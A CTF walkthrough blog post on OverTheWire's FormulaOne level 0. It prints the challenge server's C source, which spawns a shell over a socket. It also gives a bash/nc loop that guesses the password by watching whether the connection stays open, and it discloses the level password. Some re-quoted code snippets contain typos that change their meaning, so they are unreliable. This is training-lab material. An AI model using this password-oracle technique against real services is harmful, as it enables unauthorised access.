FormulaOne: Level 0 - Getting Started with the Hardest CTF Game on overthewire.org

Oct 3, 2024

🚨

Spoiler alert: This post contains spoilers for overthewire's FormulaOne game. If you would like to solve this challenge on your own, then don't read ahead.

Background

Anyone familiar with overthewire.org has probably tried their hand at the Bandit wargame.

Though it's aimed at beginners, Bandit is still fairly challenging and remains a solid intro for anyone looking to get their feet wet in the CTF world.

Overthewire offers a number of CTF challenges and I recommend giving them all try. But none are more challenging than FormulaOne game.

In fact, the very first challenge of the game is figuring out where to begin:

FormulaOne Intro (light) Part of what makes FormulaOne so challening, is the lack of direction

Finding the start of the game

Our first task is to figure out where level-0 is. The instructions say that it's hosted on the same server as another wargame. Luckily we don't have to search very long. Level-0 of FormulaOne can be found by SSHing into level-0 of the bandit wargame.

ssh bandit0@bandit.labs.overthewire.org -p 2220
FormulaOne bandit login (light) When prompted, the password is simply: bandit0

Followed by:

cd /formulaone/ | ls -la
FormulaOne directory (light) The permissions for the formulaOne directory

We can see that all the files are owned by either one of the formulaone users or the root user. But the permissions on formulaone0.c are such that any user can read them.


formulaone0.c

Let's see what's inside:

cat formulaone0.c

Prints:

#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>

#define PORT 4091

int createsocket(int portno)
{
  int yes = 1;
	struct sockaddr_in addr;
	bzero(&addr, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = INADDR_ANY;
	addr.sin_port = htons(portno);
	
	int sock = socket(AF_INET, SOCK_STREAM, 0);
	if (sock < 0)
	{
		perror("open socket failed");
		return -1;
	}
	
	setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int));
	
	if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0)
	{
		perror("bind failed");
		close(sock);
		return -1;
	}
	
	if (listen(sock, 5) < 0)
	{
		perror("listen failed");
		close(sock);
		return -1;
	}
	
	return sock;
}

int read_byte(int fd) {
  int ret;
  char buf = 0;
  // sleep(1);
  ret = recv(fd, &buf, 1, 0);
  if(ret == 0) { printf("RECV FAIL :(\n"); return -1; }
  if(ret < 0) return 0;
  
  return buf & 0xff;
}

#ifndef PASSWD
#define PASSWD "s3cret"
#endif

void client(int fd)
{
  int i = 0;
  
  send(fd, "Password: ", 10, 0);
  for(i=0; i < strlen(PASSWD); i++){
    if( PASSWD[i] != read_byte(fd) ){
      break;
    }
  }

  if(i != strlen(PASSWD) ) {  
    send(fd, "WRONG PASSWORD\n", 15, 0);
    close(fd);
  } else { 
    dup2(fd,0);
    dup2(fd,1);
    dup2(fd,2);
    
    system("/bin/sh");
    printf("system just closed\n");
  }
  return;
}

int main()
{
  int fd;
  int n;
	struct sockaddr_in addr;
	socklen_t addrlen = sizeof(addr);

	signal(SIGCHLD, SIG_IGN);

	fd = createsocket(PORT);
  
  while(1){
    n = accept(fd, (struct sockaddr *)&addr, &addrlen);
    // printf("[+] Connection from %s\n", inet_ntoa(addr.sin_addr));
    if( fork() == 0 ) {
      close(fd);
      client(n);
      exit(0);
    }  else {
      close(n);
    }
  }
}
This program creates a TCP socket that listens for an incoming connection. It reads input from a client, one character at a time.

Attempt #1 (Naive)

It looks like we've found the start of the game.

What should we try first? Well, there's a hardcoded password in this file: s3cret. Could the challenge really be that simple?

FormulaOne naive attempt (light) Connecting to the TCP server with ncat on port 4091

Attempt #2 - Analyze the code

Of course, it couldn't be that easy. Let's analyze the code a bit and see if anything jumps out at us. The most common vulnerability in C is a buffer overflow so that seems a good place to start. The client's password input would likely be our best opportunity to trigger an overflow. But unfortunately for us, this program will only read one byte at a time from the client:

int read_byte(int fd) {
  int ret;
  char buf= 0;
  // sleep(1);
  ret= recv(fd, &buf, 1, 0);
  if(ret= 0) { printf("RECV FAIL :(\n"); return -1; }
  if(ret < 0) return 0;
  
  return buf & 0xff;
}
Buffer overflow isn't possible here, since the program will only read one byte at a time. 🤔

Discovering the exploit

As it turns out, this one byte limitation does relate to the exploit - just not due to a buffer overflow.

Look at the client code below:

void client(int fd)
{
  int i= 0;
  send(fd, "Password: ", 10, 0);
  for(=0; i < strlen(PASSWD); i++){
    if( PASSWD[i] = read_byte(fd) ){
      break;
    }
  }
}
Comparing the client's input with the password, one character at a time

The for loop iterates according to the length of the real password. Each character of the password is compared with the client's input, one byte at a time. If the next (i'th) character provided by the client does not match the i'th character of the password, then the program breaks.

But if the client's next character does match, then the for loop continues, and importantly, the server waits for the next character from the client.

This means that as a client I can send a single character at a time - and if the connection is not closed - then I know that the last character sent to the server was part of the correct password.

Said another way, the server leaks information because it closes the connection when the i'th character does not match but, leaves the connection open when the i'th character matches.

Here is some pseudo code, written in a slightly different way, to better illustrate the vulnerability.

for (i = 0; i < len(PASSWORD); i++) {
  next_char = wait_for_client_input()

  if (PASSWORD[i] == next_char): continue

  else: break
}

Crafting the exploit

We'll write a shell script that will:

  1. loop through every character in the space of: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
  2. send the character to port 4091

If the connection closes, then we know the character that was just sent is not correct. If the connection stays open, then we add the last character we tried to our password.

Here's a simple script that guesses the characters one at a time:

#!/bin/bash

pwd=""
characters="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

for char in $(echo $characters | fold -w1) 
do
	echo "trying: $pwd$char"
	echo -n "$pwd$char" | nc localhost 4091
done

And example output:

FormulaOne0 password Guess (light) When the connection hangs open, we know we've guessed the next correct character. In this screenshot: "g"

Once we have the whole password, we can login to level 0.

ssh formulaone0@formulaone.labs.overthewire.org -p 2232
FormulaOne0 password Guess (light) At the time of this writing, the password was 2w9lMSElHLSu6PigGsugLYdKiLV9BH84

The next post will discuss how to move from level 0 to level 1.

Ryan McIntire